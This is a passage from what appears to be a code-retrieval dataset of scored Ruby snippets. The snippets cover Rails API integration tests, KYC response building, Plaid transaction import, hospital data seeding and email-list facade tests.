@promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n @user2 = setup_user({ 'promo_id' => @active_promo_id })\n\n headers['Authorization'] = \"Bearer #{@user2.oauth_token}\"\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n int_xxid = 476303692\n\n search_opts = { 'promo_id' => @active_promo_id }\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n assert(@parsed_response['Business']['Rateable'] == 1, \"The Int_Xxid #{int_xxid} is not Rateable: #{@parsed_response}\")\n business = @parsed_response['Business']\n\n unless business['Ratings'].empty?\n assign_http(Config['panda']['host'])\n\n business['Ratings'].each do |rating|\n delete \"/rats/#{rating['Id']}\", {}\n assert_response(@response, :success)\n end\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n business = @parsed_response['Business']\n assert_empty(business['Ratings'])\n end\n\n unless business['Media']['Data'].empty?\n assign_http(Config['monkey']['host'])\n\n business['Media']['Data'].each do |media|\n if media['ImagePath']\n params = { 'api_key' => Config['monkey']['api_key'] }\n delete media['ImagePath'], params\n assert_response(@response, :success)\n end\n end\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n business = @parsed_response['Business']\n assert_empty(business['Media']['Data'])\n end\n\n assert(business['Promo'], business)\n bonus_first_photo_points = business['Promo']['PhotoPoints']\n bonus_first_review_points = business['Promo']['ReviewPoints']\n bonus_first_total_points = (bonus_first_photo_points + bonus_first_review_points)\n\n base_promo_stats = get_promo_with_code(@active_promo)\n\n # Step 1\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n business = @parsed_response['Business']\n\n business_points = get_promo_points_for_business(business['Int_Xxid'])\n base_photo_points = business_points['photo_points']\n base_review_points = business_points['review_points']\n base_total_points = (base_review_points + base_photo_points)\n assert_equal(base_photo_points, bonus_first_photo_points,\n 'Expected base_photo_points to equal bonus_first_photo_points')\n assert_equal(base_review_points, bonus_first_review_points,\n 'Expected base_review_points to equal bonus_first_review_points')\n assert_equal(base_total_points, bonus_first_total_points,\n 'Expected base_total_points to equal bonus_first_total_points')\n\n # Step 2\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user1.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n user1_base_stats = @parsed_response['user_stats']\n assert_equal(0, user1_base_stats['photo_count'], user1_base_stats)\n assert_equal(0, user1_base_stats['review_count'], user1_base_stats)\n assert_equal(0, user1_base_stats['contributed_points'], user1_base_stats)\n\n params['access_token'] = @user2.oauth_token\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n user2_base_stats = @parsed_response['user_stats']\n assert_equal(0, user2_base_stats['photo_count'], user2_base_stats)\n assert_equal(0, user2_base_stats['review_count'], user2_base_stats)\n assert_equal(0, user2_base_stats['contributed_points'], user2_base_stats)\n\n assert_equal(base_promo_stats['ReviewCount'], @parsed_response['promo']['review_count'],\n \"Expected review_count #{@parsed_response['promo']['review_count']} to equal: #{base_promo_stats['ReviewCount']}\")\n assert_equal(base_promo_stats['PhotoCount'], @parsed_response['promo']['photo_count'],\n \"Expected photo_count #{@parsed_response['promo']['photo_count']} to equal: #{base_promo_stats['PhotoCount']}\")\n assert_equal(base_promo_stats['ContributedPoints'], @parsed_response['promo']['contributed_points'],\n \"Expected dashboard contributed_points #{@parsed_response['promo']['contributed_points']} to equal promo verify base contributed points: #{base_promo_stats['ContributedPoints']}\")\n\n # Step 3\n review_params = {\n 'body' => 'This business is very business-like and I would do business with this business again if I have business with them.',\n 'source' => 'XX3',\n 'subject' => 'Review made by API',\n 'value' => rand(1..5),\n 'listing_id' => int_xxid,\n 'oauth_token' => @user1.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n put '/snake/usr/reviews', review_params\n assert_response(@response, :success)\n assert_equal(@active_promo_id, @parsed_response['ratings']['Rating']['PromoId'])\n assert_equal(bonus_first_review_points, @parsed_response['ratings']['Rating']['Points'])\n\n upload_and_link_image_with_promo_for_int_xxid_by_user(int_xxid, @user1, @active_promo_id)\n assert_response(@response, :success)\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n business = @parsed_response['Business']\n\n business_points = get_promo_points_for_business(business['Int_Xxid'])\n updated_review_points = business_points['review_points']\n updated_photo_points = business_points['photo_points']\n updated_total_points = (updated_review_points + updated_photo_points)\n assert((base_photo_points > updated_photo_points),\n \"Expected updated_photo_points #{updated_photo_points}, to be less than base_photo_points: #{base_photo_points}\")\n assert((base_review_points > updated_review_points),\n \"Expected updated_review_points: #{updated_review_points}, to be less than base_review_points: #{base_review_points}\")\n\n assign_http(Config['snake']['host'])\n\n review_params['oauth_token'] = @user2.oauth_token\n\n put '/snake/usr/reviews', review_params\n assert_response(@response, :success)\n assert_equal(@active_promo_id, @parsed_response['ratings']['Rating']['PromoId'])\n assert_equal(updated_review_points, @parsed_response['ratings']['Rating']['Points'])\n\n upload_and_link_image_with_promo_for_int_xxid_by_user(int_xxid, @user2, @active_promo_id)\n assert_response(@response, :success)\n\n # Step 4\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n assert_equal(updated_photo_points, @parsed_response['Business']['Promo']['PhotoPoints'], @parsed_response)\n assert_equal(updated_review_points, @parsed_response['Business']['Promo']['ReviewPoints'], @parsed_response)\n assert_equal(updated_total_points, @parsed_response['Business']['Promo']['TotalPoints'], @parsed_response)\n\n # Step 5\n params = {\n 'access_token' => @user1.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n user1_updated_stats = @parsed_response['user_stats']\n assert_equal(1, user1_updated_stats['photo_count'], user1_updated_stats)\n assert_equal(1, user1_updated_stats['review_count'], user1_updated_stats)\n assert_equal(base_total_points, user1_updated_stats['contributed_points'], user1_updated_stats)\n\n params['access_token'] = @user2.oauth_token\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n user2_updated_stats = @parsed_response['user_stats']\n assert_equal(1, user2_updated_stats['photo_count'], user2_updated_stats)\n assert_equal(1, user2_updated_stats['review_count'], user2_updated_stats)\n assert_equal(updated_total_points, user2_updated_stats['contributed_points'], user2_updated_stats)\n\n # Step 6\n contributed_points = (base_promo_stats['ContributedPoints'] + base_total_points + updated_total_points)\n assert_equal((base_promo_stats['ReviewCount'] + 2), @parsed_response['promo']['review_count'],\n \"Expected review_count #{@parsed_response['promo']['review_count']} to equal: #{(base_promo_stats['ReviewCount'] + 2)}\")\n assert_equal((base_promo_stats['PhotoCount'] + 2), @parsed_response['promo']['photo_count'],\n \"Expected photo_count #{@parsed_response['promo']['photo_count']} to equal: #{(base_promo_stats['PhotoCount'] + 2)}\")\n assert_equal(contributed_points, @parsed_response['promo']['contributed_points'],\n \"Expected dashboard contributed_points #{@parsed_response['promo']['contributed_points']} to equal promo verify base contributed points + added points: #{contributed_points}\")\n end", "title": "" }, { "docid": "eab6528e46d1f2c6ced74465f2bc71ee", "score": "0.50548387", "text": "def insert\n\n end", "title": "" }, { "docid": "92f916ff99090593a34b0fcd5724b8db", "score": "0.5051888", "text": "def add_social_account\n if (params[:email].blank? || params[:provider].blank?)\n return_hash = {:status => 400, :status_text => 'Please enter the valid details'}\n elsif @current_user.share_questions.where(\"email_address =? and user_id =?\", params[:email], params[:user_id]).first\n return_hash = {error: 'Already user account added', status: 200}\n else\n ShareQuestion.api_share_question_create(params)\n return_hash = {success: 'Success', status: 200}\n end\n render :json => return_hash\nend", "title": "" }, { "docid": "31e38202e931ee5703090f530f5ecae2", "score": "0.50496954", "text": "def test_send_no_parameters_returns_error\n @db_modified = true\n data = post_create_user({})\n assert_equal('error', data[0]['kind'])\n end", "title": "" }, { "docid": "7c0148cb776b3ac765e1bca7a8c73423", "score": "0.5046117", "text": "def set_api_response_data\n\n next_page_payload = @next_kyc_id.present? ? {\n id: @next_kyc_id,\n filters: @filters,\n sortings: @sortings,\n } : {}\n\n previous_page_payload = @previous_kyc_id.present? ? {\n id: @previous_kyc_id,\n filters: @filters,\n sortings: @sortings,\n } : {}\n\n meta = {\n filters: @filters,\n sortings: @sortings,\n id: @case_id,\n next_page_payload: next_page_payload,\n previous_page_payload: previous_page_payload\n }\n\n client_kyc_pass_setting = {\n approve_type: @client_kyc_pass_setting.approve_type,\n fr_match_percent: @client_kyc_pass_setting.face_match_percent.to_i,\n ocr_comparison_fields: @client_kyc_pass_setting.ocr_comparison_fields_array\n }\n\n ai_pass_details = {}\n user_kyc_comparison_detail = {\n image_processing_status: GlobalConstant::ImageProcessing.unprocessed_image_process_status\n }\n\n if @user_kyc_comparison_detail.present?\n\n auto_approve_failed_reasons = @user_kyc_comparison_detail.auto_approve_failed_reasons_array &\n GlobalConstant::KycAutoApproveFailedReason.auto_approve_fail_reasons\n\n user_kyc_comparison_detail = {\n image_processing_status: @user_kyc_comparison_detail.image_processing_status,\n failed_reason: auto_approve_failed_reasons,\n document_dimensions: @user_kyc_comparison_detail.document_dimensions,\n selfie_dimensions: @user_kyc_comparison_detail.selfie_dimensions,\n face_match_percent: [@user_kyc_comparison_detail.big_face_match_percent,\n @user_kyc_comparison_detail.small_face_match_percent].min\n }\n\n if @user_kyc_comparison_detail.image_processing_status == GlobalConstant::ImageProcessing.processed_image_process_status\n automation_passed = @user_kyc_detail.qualify_types_array.include?(GlobalConstant::UserKycDetail.auto_approved_qualify_type)\n\n ai_pass_details = {\n fr_pass_status: @user_kyc_comparison_detail.auto_approve_failed_reasons_array.exclude?(GlobalConstant::KycAutoApproveFailedReason.fr_unmatch),\n ocr_match_status: @user_kyc_comparison_detail.auto_approve_failed_reasons_array.exclude?(GlobalConstant::KycAutoApproveFailedReason.ocr_unmatch),\n automation_passed: automation_passed,\n ocr_match_fields: {\n }\n }\n\n ClientKycPassSetting.ocr_comparison_fields_config.keys.each do |key|\n ai_pass_details[:ocr_match_fields][key] = (@user_kyc_comparison_detail[\"#{key}_match_percent\"].to_i == 100)\n end\n\n end\n\n end\n\n\n if @aml_search.blank?\n aml_processing_status = GlobalConstant::AmlSearch.unprocessed_aml_processing_status\n all_matches_to_show = []\n elsif @aml_search.status == GlobalConstant::AmlSearch.processed_status\n aml_processing_status = GlobalConstant::AmlSearch.processed_aml_processing_status\n all_matches_to_show = @aml_matches\n else\n aml_processing_status = GlobalConstant::AmlSearch.processing_aml_processing_status\n all_matches_to_show = []\n end\n\n aml_matches_data = []\n all_matches_to_show.each do |match|\n pdf_file_path = local_cipher_obj.decrypt(match.pdf_path).data[:plaintext]\n pdf_url = get_url(pdf_file_path)\n aml_matches_data << {qr_code: match.qr_code, status: match.status, pdf_url: pdf_url}\n end\n\n aml_detail = {\n aml_processing_status: aml_processing_status,\n aml_matches: aml_matches_data\n }\n\n @api_response_data = {\n user_detail: user_detail,\n case_detail: case_detail,\n aml_detail: aml_detail,\n client_kyc_pass_setting: client_kyc_pass_setting,\n user_kyc_comparison_detail: user_kyc_comparison_detail,\n ai_pass_detail: ai_pass_details,\n meta: meta\n }\n end", "title": "" }, { "docid": "0eb8a3108cc200e717ab4eb7f0dba6ad", "score": "0.5045783", "text": "def test_add_event()\n # Parameters for the API call\n\n req_headers = JSON.parse('{'\\\n '\"Host\": \"api.acmeinc.com\",'\\\n '\"Accept\": \"*/*\",'\\\n '\"Connection\": \"Keep-Alive\",'\\\n '\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\",'\\\n '\"Content-Type\": \"application/json\",'\\\n '\"Content-Length\": \"126\",'\\\n '\"Accept-Encoding\": \"gzip\"'\\\n '}')\n\n req_body = JSON.parse( '{'\\\n '\"items\": ['\\\n '{'\\\n '\"type\": 1,'\\\n '\"id\": \"fwfrf\"'\\\n '},'\\\n '{'\\\n '\"type\": 2,'\\\n '\"id\": \"d43d3f\"'\\\n '}'\\\n ']'\\\n '}')\n\n rsp_headers = JSON.parse('{'\\\n '\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\",'\\\n '\"Vary\": \"Accept-Encoding\",'\\\n '\"Pragma\": \"no-cache\",'\\\n '\"Expires\": \"-1\",'\\\n '\"Content-Type\": \"application/json; charset=utf-8\",'\\\n '\"Cache-Control\": \"no-cache\"'\\\n '}')\n\n rsp_body = JSON.parse('{'\\\n '\"Error\": \"InvalidArgumentException\",'\\\n '\"Message\": \"Missing field field_a\"'\\\n '}')\n\n\n event_req = EventRequestModel.new()\n event_req.time = \"2016-09-09T04:45:42.914\"\n event_req.uri = \"https://api.acmeinc.com/items/reviews/\"\n event_req.verb = \"PATCH\"\n event_req.api_version = \"1.1.0\"\n event_req.ip_address = \"61.48.220.123\"\n event_req.headers = req_headers\n event_req.body = req_body\n\n event_rsp = EventResponseModel.new()\n event_rsp.time = \"2016-09-09T04:45:42.914\"\n event_rsp.status = 500\n event_rsp.headers = rsp_headers\n event_rsp.body = rsp_body\n\n event_model = EventModel.new()\n event_model.request = event_req\n event_model.response = event_rsp\n event_model.user_id =\"my_user_id\"\n event_model.session_token = \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\"\n\n # Perform the API call through the SDK function\n self.class.controller.create_event(event_model)\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 201)\n end", "title": "" }, { "docid": "68d4dd69566425f4b817f25b8c66ba79", "score": "0.5042689", "text": "def insert_info\n begin\n @db[:horizontal_infos].insert( :table_name => 't6_h',\n :attribute_name => 'Target_gene',\n :data_type => 'String',\n :is_resource => true )\n rescue => exp\n puts \"!!! unexpected insertion exception !!!\".upcase\n puts exp.message\n end\nend", "title": "" }, { "docid": "8c5ee6d87b4a5d176580dc6c9af52ac0", "score": "0.50411993", "text": "def store_response(json_object)\n json_object.each do |question|\n # byebug\n category_id = Category.find_or_create_by(name: question[:category])\n\n Question.find_or_create_by(\n category: category_id,\n # difficulty: question['difficulty'],\n question: question[:question],\n correct_answer: question[:correct_answer],\n incorrect_answers: question[:incorrect_answers].join(\", \")\n )\n end\nend", "title": "" }, { "docid": "142469482be0d6fdb532548e6d249d98", "score": "0.5039085", "text": "def create_out_of_sync_epes_and_vbms_ext_claims\n # 25 High Level Review, End Product Establishments that have a sync_status of \"PEND\" and are out_of_sync with\n # vbms_ext_claims (\"CLR\")\n 25.times do\n veteran = create(:veteran, file_number: format(\"%<n>09d\", n: @file_number))\n @file_number += 1\n\n end_product_establishment = create_end_product_establishment(:active_hlr_with_cleared_vbms_ext_claim, veteran)\n created_request_issue_one = create_request_issue(:rating, end_product_establishment)\n created_request_issue_two = create_request_issue(:nonrating, end_product_establishment)\n end\n\n # 25 High Level Review, End Product Establishments that have a sync_status of \"CAN\" and are out_of_sync with\n # vbms_ext_claims (\"CLR\")\n 25.times do\n veteran = create(:veteran, file_number: format(\"%<n>09d\", n: @file_number))\n @file_number += 1\n\n end_product_establishment = create_end_product_establishment(:canceled_hlr_with_cleared_vbms_ext_claim, veteran)\n created_request_issue_one = create_request_issue(:rating, end_product_establishment)\n created_request_issue_two = create_request_issue(:nonrating, end_product_establishment)\n end\n\n # 25 Supplemental Claims, End Product Establishments that have a sync_status of \"CLR\" and are out_of_sync with\n # vbms_ext_claims (\"CAN\")\n 25.times do\n veteran = create(:veteran, file_number: format(\"%<n>09d\", n: @file_number))\n @file_number += 1\n\n end_product_establishment = create_end_product_establishment(:cleared_supp_with_canceled_vbms_ext_claim, veteran)\n created_request_issue_one = create_request_issue(:rating, end_product_establishment)\n created_request_issue_two = create_request_issue(:nonrating, end_product_establishment)\n end\n\n # 25 Supplemental Claims, End Product Establishments that have a sync_status of \"PEND\" and are out_of_sync with\n # vbms_ext_claims (\"CAN\")\n 25.times do\n veteran = create(:veteran, file_number: format(\"%<n>09d\", n: @file_number))\n @file_number += 1\n\n end_product_establishment = create_end_product_establishment(:active_supp_with_canceled_vbms_ext_claim, veteran)\n created_request_issue_one = create_request_issue(:rating, end_product_establishment)\n created_request_issue_two = create_request_issue(:nonrating, end_product_establishment)\n end\n\t end", "title": "" }, { "docid": "00cbd2340293b82818280a2e1314246b", "score": "0.503638", "text": "def seed_hospital_data\n hospital_data_string = RestClient.get(\"https://health.data.ny.gov/resource/7xgt-tyms.json\")\n hospital_data_hash = JSON.parse(hospital_data_string)\n hospital_data_hash.each do |key|\n Hospital.create(facility_name: key[\"facility_name\"],\n street: key[\"address1\"], city: key[\"city\"], state: key[\"cooperator_state\"],\n county: key[\"county\"], zip: key[\"fac_zip\"].to_i, phone: key['fac_phone'],\n description:key[\"description\"], latitude: key[\"latitude\"], longitude: key[\"longitude\"] )\n end\nend", "title": "" }, { "docid": "1e191a54210180ce43450d5bb645dac2", "score": "0.5030881", "text": "def postAddClass(intitule, idPromo)\n ro = OpenConnectBdd.prepare('select * from classe c where c.intitule=? and c.id_promo=?')\n ro = ro.execute(intitule,idPromo)\n hash = ro.each(&:to_h)\n if hash.length.zero?\n uuid = SecureRandom.uuid\n ro = OpenConnectBdd.prepare('INSERT INTO classe (id_classe, intitule, id_promo) VALUES (?, ?, ?)')\n ro.execute(uuid, intitule, idPromo)\n retourUser = {\"success\" => \"La classe à bien été ajouté à la base de donnée !\"}\n retourUser.to_json\n else\n retourUser = {\"error\" => \"Une classe avec ce nom et cette école existe déjà dans la base de donnée !\"}\n retourUser.to_json\n end\nend", "title": "" }, { "docid": "c9a132566895f0dc63b9609354411252", "score": "0.5025914", "text": "def test_bug_duplicate_names\n api = IMDb::Api.new\n entry = api.create('tt0359950')\n\n assert_equal([\"Steve Conrad\"], entry.creator, 'Should not contain two of the same.')\n end", "title": "" }, { "docid": "bc6c2ee8cd011c75407bebd2a6079ef0", "score": "0.50233966", "text": "def test_new_order\n post '/orders', \n :@origin => 'Tesco',\n :@destination => 'The Diamond',\n :@car => 'Renault',\n :@twitter_handle => 'Tester',\n :@current_status => \"Ongoing\",\n :@status => \"Ongoing\",\n :@city => \"Sheffield\"\n \n order_id = 2333\n \n response = false\n @adminDB.execute(\n 'INSERT INTO order_info VALUES (?,?,?,?,?,?,?,?,?)',\n [order_id, @twitter_handle, @origin, @destination, @car, @date, @time, @current_status, @city])\n \n #save the results in a variable so that they can be added to the table\n result = @adminDB.execute('SELECT * FROM order_info WHERE origin = \"Sheffield\"')\n if !result.nil?\n response = true\n end\n assert_equal true, response\n end", "title": "" }, { "docid": "9c9f204adbf5c4a80f235173e885e45c", "score": "0.50200605", "text": "def verifyCommunityResponseContract\n response_content = JSON.parse(@@response.body)\n if response_content['site_type'] == 'REGULAR'\n @community_response_structure.push('status')\n elsif response_content['site_type'] == 'CHALLENGE'\n @community_response_structure.push('challenge_status')\n @community_response_structure.push('start_date')\n @community_response_structure.push('end_date')\n @community_response_structure.push('logo')\n @community_response_structure.push('phases')\n end\n\n if response_content.has_key?('parent_id')\n @community_response_structure.push('parent_id') if response_content['parent_id'].to_i > 0\n end\n\n verifyResponseContract(@community_response_structure)\n end", "title": "" }, { "docid": "118212988630d2af8699758b155e8d96", "score": "0.50160563", "text": "def test_test_place_order_with_minimum_criteria()\r\n # Parameters for the API call\r\n body = CreateOrderRequestModel.from_hash(JSON.parse(\r\n '{\"accountIdentifier\":\"sdkautotest5\",\"amount\":1.00,\"customerIdentifier\":\"sd'\\\r\n 'kautotest4\",\"sendEmail\":false,\"utid\":\"U561593\"}'\r\n ))\r\n\r\n # Perform the API call through the SDK function\r\n result = self.class.controller.create_order(body)\r\n\r\n # Test response code\r\n assert_equal(@response_catcher.response.status_code, 201)\r\n\r\n # Test whether the captured response is as we expected\r\n assert_not_nil(result)\r\n expected_body = JSON.parse(\r\n '{\"referenceOrderID\":\"RA180426-1401-64\",\"customerIdentifier\":\"sdkautotest4\"'\\\r\n ',\"accountIdentifier\":\"sdkautotest5\",\"accountNumber\":\"A32386768\",\"amountChar'\\\r\n 'ged\":{\"value\":1,\"currencyCode\":\"USD\",\"total\":1},\"marginShare\":{\"value\":0,\"c'\\\r\n 'urrencyCode\":\"USD\"},\"denomination\":{\"value\":1,\"currencyCode\":\"USD\"},\"utid\":'\\\r\n '\"U561593\",\"rewardName\":\"Reward Link\",\"sender\":{\"firstName\":\"\",\"lastName\":\"\"'\\\r\n ',\"email\":\"\"},\"recipient\":{\"email\":\"\",\"firstName\":\"\",\"lastName\":\"\"},\"sendEma'\\\r\n 'il\":false,\"status\":\"COMPLETE\",\"createdAt\":\"2018-04-26T20:08:59.624Z\",\"rewar'\\\r\n 'd\":{\"credentials\":{\"Redemption URL\":\"https://sandbox.rewardlink.io/r/1/ed0H'\\\r\n 'tzSblNV6oFddNnnlf68eXzGQoREvcxwxu_Vi5Wk\"},\"credentialList\":[{\"label\":\"Redem'\\\r\n 'ption URL\",\"value\":\"https://sandbox.rewardlink.io/r/1/ed0HtzSblNV6oFddNnnlf'\\\r\n '68eXzGQoREvcxwxu_Vi5Wk\",\"type\":\"url\"}],\"redemptionInstructions\":\"<p>&bull; '\\\r\n 'Click on the redemption link above to activate your Reward Link.<br />\\\\r'\\\r\n '\\\\n&bull; Next, you will be able to spend your balance on retail gift cards'\\\r\n '.</p>\\\\r\\\\n\\\\r\\\\n<p>If you don&#39;t want to spend your entire Reward Link '\\\r\n 'value right away, save the email or URL and return via the redemption link '\\\r\n '- your value will be waiting to be spent. This allows you to store the bala'\\\r\n 'nce to redeem at another time.</p>\\\\r\\\\n\"}}'\r\n )\r\n received_body = JSON.parse(@response_catcher.response.raw_body)\r\n assert(TestHelper.match_body(expected_body, received_body))\r\n end", "title": "" }, { "docid": "ef66e6575c92dc58ea727377d907b6ba", "score": "0.5015658", "text": "def test_email_addwithfields()\n # 1.1\n assert_nil One::EmailDirect::Facade.email_addwithfields(\n @credentials, @email1,\n @source1[:element_id],\n [@publication1[:element_id]], [@list1[:element_id]],\n @autoresponder, @force,\n @custom_fields1\n )\n\n result = clean_email_getproperties(\n One::EmailDirect::Facade.email_getproperties(\n @credentials, @email1\n )\n )\n expected = {\n :status => 'Active',\n :publications => {:element => [@publication1]},\n :lists => {:element => [@list1]},\n :email => @email1,\n :custom_fields => {:custom_field => @expected_custom_fields1},\n :source => @source1\n }\n expected[:custom_fields][:custom_field] = [{:value => @email1, :field_name => 'Email'}] + expected[:custom_fields][:custom_field]\n assert_equal expected, result\n\n\n # 1.2\n assert_nil One::EmailDirect::Facade.email_addwithfields(\n @credentials, @email2,\n @source1[:element_id],\n [@publication1[:element_id], @publication2[:element_id]],\n [@list1[:element_id], @list2[:element_id]],\n @autoresponder, @force,\n @custom_fields1\n )\n\n result = clean_email_getproperties(\n One::EmailDirect::Facade.email_getproperties(\n @credentials, @email2\n )\n )\n expected = {\n :status => 'Active',\n :publications => {:element => [@publication1, @publication2]},\n :lists => {:element => [@list1, @list2]},\n :email => @email2,\n :custom_fields => {:custom_field => @expected_custom_fields1},\n :source => @source1\n }\n expected[:custom_fields][:custom_field] = [{:value => @email2, :field_name => 'Email'}] + expected[:custom_fields][:custom_field]\n assert_equal expected, result\n\n\n # 1.3.1\n assert_nil One::EmailDirect::Facade.email_addwithfields(\n @credentials, @email3,\n @source1[:element_id],\n [@publication1[:element_id]], [],\n @autoresponder, @force,\n @custom_fields1\n )\n\n result = clean_email_getproperties(\n One::EmailDirect::Facade.email_getproperties(\n @credentials, @email3\n )\n )\n expected = {\n :status => 'Active',\n :publications => {:element => [@publication1]},\n :lists => {:element => []},\n :email => @email3,\n :custom_fields => {:custom_field => @expected_custom_fields1},\n :source => @source1\n }\n expected[:custom_fields][:custom_field] = [{:value => @email3, :field_name => 'Email'}] + expected[:custom_fields][:custom_field]\n assert_equal expected, result\n\n\n # 1.3.2\n assert_nil One::EmailDirect::Facade.email_addwithfields(\n @credentials, @email4,\n @source1[:element_id], [@publication1[:element_id]], nil,\n @autoresponder, @force,\n @custom_fields1\n )\n\n result = clean_email_getproperties(\n One::EmailDirect::Facade.email_getproperties(\n @credentials, @email4\n )\n )\n expected = {\n :status => 'Active',\n :publications => {:element => [@publication1]},\n :lists => {:element => []},\n :email => @email4,\n :custom_fields => {:custom_field => @expected_custom_fields1},\n :source => @source1\n }\n expected[:custom_fields][:custom_field] = [{:value => @email4, :field_name => 'Email'}] + expected[:custom_fields][:custom_field]\n assert_equal expected, result\n\n\n # 1.4.1\n assert_nil One::EmailDirect::Facade.email_addwithfields(\n @credentials, @email5,\n @source1[:element_id], [], [@list1[:element_id]],\n @autoresponder, @force,\n @custom_fields1\n )\n\n result = clean_email_getproperties(\n One::EmailDirect::Facade.email_getproperties(\n @credentials, @email5\n )\n )\n expected = {\n :status => 'Active',\n :publications => {:element => []},\n :lists => {:element => [@list1]},\n :email => @email5,\n :custom_fields => {:custom_field => @expected_custom_fields1},\n :source => @source1\n }\n expected[:custom_fields][:custom_field] = [{:value => @email5, :field_name => 'Email'}] + expected[:custom_fields][:custom_field]\n assert_equal expected, result\n\n\n # 1.4.2\n assert_nil One::EmailDirect::Facade.email_addwithfields(\n @credentials, @email6,\n @source1[:element_id], nil, [@list1[:element_id]],\n @autoresponder, @force,\n @custom_fields1\n )\n\n result = clean_email_getproperties(\n One::EmailDirect::Facade.email_getproperties(\n @credentials, @email6\n )\n )\n expected = {\n :status => 'Active',\n :publications => {:element => []},\n :lists => {:element => [@list1]},\n :email => @email6,\n :custom_fields => {:custom_field => @expected_custom_fields1},\n :source => @source1\n }\n expected[:custom_fields][:custom_field] = [{:value => @email6, :field_name => 'Email'}] + expected[:custom_fields][:custom_field]\n assert_equal expected, result\n\n\n # 1.5\n assert_raises One::EmailDirect::EmailDirectException do\n One::EmailDirect::Facade.email_addwithfields(\n @credentials, nil,\n @source1[:element_id], [@publication1[:element_id]], [@list1[:element_id]],\n @autoresponder, @force,\n @custom_fields1\n )\n end\n\n\n # 1.6.1 using the exact same lists and publications\n assert_nil One::EmailDirect::Facade.email_addwithfields(\n @credentials, @email1,\n @source1[:element_id], [@publication1[:element_id]], [@list1[:element_id]],\n @autoresponder, @force,\n @custom_fields1\n )\n\n result = clean_email_getproperties(\n One::EmailDirect::Facade.email_getproperties(\n @credentials, @email1\n )\n )\n expected = {\n :status => 'Active',\n :publications => {:element => [@publication1]},\n :lists => {:element => [@list1]},\n :email => @email1,\n :custom_fields => {:custom_field => @expected_custom_fields1},\n :source => @source1\n }\n expected[:custom_fields][:custom_field] = [{:value => @email1, :field_name => 'Email'}] + expected[:custom_fields][:custom_field]\n assert_equal expected, result\n\n\n # 1.6.2 using different lists, publications and custom fields\n assert_nil One::EmailDirect::Facade.email_addwithfields(\n @credentials, @email1,\n @source1[:element_id], [@publication2[:element_id]], [@list2[:element_id]],\n @autoresponder, @force,\n @custom_fields2\n )\n\n result = clean_email_getproperties(\n One::EmailDirect::Facade.email_getproperties(\n @credentials, @email1\n )\n )\n expected = {\n :status => 'Active',\n :publications => {:element => [@publication1, @publication2]},\n :lists => {:element => [@list1, @list2]},\n :email => @email1,\n :custom_fields => {:custom_field => @expected_custom_fields2},\n :source => @source1\n }\n expected[:custom_fields][:custom_field] = [{:value => @email1, :field_name => 'Email'}] + expected[:custom_fields][:custom_field]\n assert_equal expected, result\n end", "title": "" }, { "docid": "abc9c9ca51864b3adbe6ec4589628d65", "score": "0.50131845", "text": "def before_insert(validated_args)\n end", "title": "" }, { "docid": "cfa6d45dc9f1848e7cf6b40bdab90b3c", "score": "0.50103426", "text": "def create\n\n client = @@client\n\n # Retrieves transaction response from Plaid for specific item\n access_token = Item.find_by(id: params[:id]).access_token\n\n puts \"Access Token: \" + access_token\n\n # \"access-sandbox-9e993d3f-b330-4ed2-b0bf-c7cbdad9c85d\" \n response = client.transactions.get(access_token, Date.today.at_beginning_of_month, Date.today.end_of_month)\n transactions = response.transactions\n\n # Loop through transactions response. Assign custom category to new transaction if the plaid_category_API_ID already has a custom category assigned. \n transactions.each do |transaction|\n\n # Queries database for any existing transaction with the same plaid_category_API_ID\n # matchings_trans_category = Transaction.find_by( ['user_id = :user_id and \"plaid_category_API_ID\" = :category', {user_id: current_user.id, category: transaction.category_id}])\n\n matchings_trans_category = Transaction.where(user_id: current_user.id).where(plaid_category_API_ID: transaction.category_id).where.not(category_id: nil)\n\n puts \"\"\n puts \"-------------------------------------\"\n pp matchings_trans_category\n puts \"-------------------------------------\"\n puts \"\"\n\n # Finds account ID from Account Model based on Plaid Account ID\n account = Account.find_by(account_id_plaid: transaction.account_id)\n account_id = account.id\n\n # Converts string to decimal \n amount = transaction.amount.to_s\n amount_decimal = amount.to_d\n\n @transaction = Transaction.new({\n name: transaction.name,\n plaid_category_API_ID: transaction.category_id,\n account_id_plaid: transaction.account_id,\n user_id: current_user.id,\n transaction_id: transaction.transaction_id, \n amount: amount_decimal,\n account_id: account_id,\n transaction_date: transaction.date,\n transaction_type: transaction.transaction_type,\n currency_type: transaction.iso_currency_code,\n pending: transaction.pending\n })\n if matchings_trans_category.present?\n @transaction.category_id = matchings_trans_category.first.category_id\n end\n @transaction.save!\n\n end \n\n render \"show.json.jbuilder\"\n\n end", "title": "" }, { "docid": "f0d2e7597c5f24c5f8f45562b9faa7aa", "score": "0.5005308", "text": "def test_api_request_includes_minimum_api_entries\n data = @failure.api_request\n\n assert_kind_of Hash, data['application_environment']\n assert_kind_of Hash, data['application_environment']['env']\n assert_kind_of String, data['application_environment']['application_root_directory']\n\n assert_kind_of Hash, data['exception']\n # test occurred_at that starts like: 2010-10-13T01:56:49\n assert_match /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}/, data['exception']['occurred_at']\n assert_kind_of String, 